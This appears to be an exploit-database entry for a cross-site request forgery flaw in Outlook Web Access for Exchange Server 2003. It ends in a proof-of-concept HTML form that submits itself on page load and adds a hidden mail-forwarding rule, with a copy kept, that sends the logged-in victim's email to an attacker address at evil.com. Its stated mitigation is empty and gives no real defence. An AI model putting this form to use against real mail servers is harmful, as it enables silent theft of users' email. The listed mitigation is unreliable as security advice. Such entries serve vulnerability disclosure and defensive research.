Microsoft Office Outlook Web Access for Exchange Server 2003 XSRF Vulnerability

vendor:

Exchange Server 2003

by:

anonymous

7,5

CVSS

HIGH

Cross-site request forgery

352

CWE

Product Name: Exchange Server 2003

Affected Version From: Microsoft Office Outlook Web Access for Exchange Server 2003

Affected Version To: Microsoft Office Outlook Web Access for Exchange Server 2003

Patch Exists: NO

Related CWE: N/A

CPE: a:microsoft:exchange_server:2003

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Microsoft Office Outlook Web Access for Exchange Server 2003

2010

Microsoft Office Outlook Web Access for Exchange Server 2003 XSRF Vulnerability

A cross-site request forgery vulnerability in Microsoft Office Outlook Web Access for Exchange Server 2003 can be exploited to add an automatic forwarding rule (as PoC) to the authenticated user's account.

Mitigation:

Implementing a security policy that prohibits the use of cross-site request forgery attacks.

Source

Exploit-DB raw data:

# Exploit Title: Microsoft Office Outlook Web Access for Exchange Server 2003 XSRF Vulnerability
# Date: 07/20/2010
# Author: anonymous
# Tested on: Microsoft Office Outlook Web Access for Exchange Server 2003

A cross-site request forgery vulnerability in Microsoft Office 
Outlook Web Access for Exchange Server 2003 can be exploited to add 
an automatic forwarding rule (as PoC) to the authenticated user's 
account.

PoC:
<form name="xsrf" action="http://exchange.victim.com/Exchange/victim_id" method="post" target="_self">
<input type="hidden" name="cmd" value="saverule">
<input type="hidden" name="rulename" value="evilrule">
<input type="hidden" name="ruleaction" value="3">
<input type="hidden" name="forwardtocount" value="1">
<input type="hidden" name="forwardtoname" value="guy, bad">
<input type="hidden" name="forwardtoemail" value="you@evil.com">
<input type="hidden" name="forwardtotype" value="SMTP">
<input type="hidden" name="forwardtoentryid" value="">
<input type="hidden" name="forwardtosearchkey" value="">
<input type="hidden" name="forwardtoisdl" value="">
<input type="hidden" name="keepcopy" value="1">
<body onload="document.forms.xsrf.submit();">